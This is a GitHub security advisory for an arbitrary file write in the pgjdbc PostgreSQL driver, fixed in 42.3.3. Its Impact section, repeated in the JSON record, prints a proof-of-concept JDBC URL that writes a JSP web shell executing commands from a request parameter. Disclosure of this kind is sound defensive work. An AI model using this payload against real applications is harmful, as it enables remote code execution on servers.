GHSA-673J-QM5F-XPV8

Vulnerability from github – Published: 2022-02-16 00:08 – Updated: 2024-01-22 19:35
VLAI?
Summary
pgjdbc Arbitrary File Write Vulnerability
Details

Overview

The connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that's a defect of an application that allows unauthenticated attackers that level of control.

It's not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That's not specific to the pgjdbc driver either, it would be true for any library that can write to the application's local file system.

While we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.

If you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it's contents, we encourage you to notify the application owner as that may be a security defect in that specific application.

Impact

It is possible to specify an arbitrary filename in the loggerFileName connection parameter "jdbc:postgresql://localhost:5432/test?user=test&password=test&loggerLevel=DEBUG&loggerFile=./blah.jsp&<%Runtime.getRuntime().exec(request.getParameter(\"i\"));%>"

This creates a valid JSP file which could lead to a Remote Code Execution

Patches

LoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3

Workarounds

sanitize the inputs to the driver

Reported by Allan Lou v3ged0ge@gmail.com

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.postgresql:postgresql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "42.1.0"
            },
            {
              "fixed": "42.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [],
    "github_reviewed": true,
    "github_reviewed_at": "2022-02-16T00:08:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Overview\nThe connection properties for configuring a pgjdbc connection are not meant to be exposed to an unauthenticated attacker. While allowing an attacker to specify arbitrary connection properties could lead to a compromise of a system, that\u0027s a defect of an application that allows unauthenticated attackers that level of control.\n\nIt\u0027s not the job of the pgjdbc driver to decide whether a given log file location is acceptable. End user applications that use the pgjdbc driver must ensure that filenames are valid and restrict unauthenticated attackers from being able to supply arbitrary values. That\u0027s not specific to the pgjdbc driver either, it would be true for any library that can write to the application\u0027s local file system.\n\nWhile we do not consider this a security issue with the driver, we have decided to remove the loggerFile and loggerLevel connection properties in the next release of the driver. Removal of those properties does not make exposing the JDBC URL or connection properties to an attacker safe and we continue to suggest that applications do not allow untrusted users to specify arbitrary connection properties. We are removing them to prevent misuse and their functionality can be delegated to java.util.logging.\n\nIf you identify an application that allows remote users to specify a complete JDBC URL or properties without validating it\u0027s contents, we encourage you to notify the application owner as that may be a security defect in that specific application.\n\n### Impact\nIt is possible to specify an arbitrary filename in the loggerFileName connection parameter\n\"jdbc:postgresql://localhost:5432/test?user=test\u0026password=test\u0026loggerLevel=DEBUG\u0026loggerFile=./blah.jsp\u0026\u003c%Runtime.getRuntime().exec(request.getParameter(\\\"i\\\"));%\u003e\"\n\nThis creates a valid JSP file which could lead to a Remote Code Execution \n\n### Patches\nLoggerFile implementation has been removed and will be ignored by the driver, fixed in 42.3.3\n\n### Workarounds\nsanitize the inputs to the driver\n\nReported by Allan Lou v3ged0ge@gmail.com",
  "id": "GHSA-673j-qm5f-xpv8",
  "modified": "2024-01-22T19:35:00Z",
  "published": "2022-02-16T00:08:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-673j-qm5f-xpv8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pgjdbc/pgjdbc/commit/f6d47034a4ce292e1a659fa00963f6f713117064"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pgjdbc/pgjdbc"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "pgjdbc Arbitrary File Write Vulnerability"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…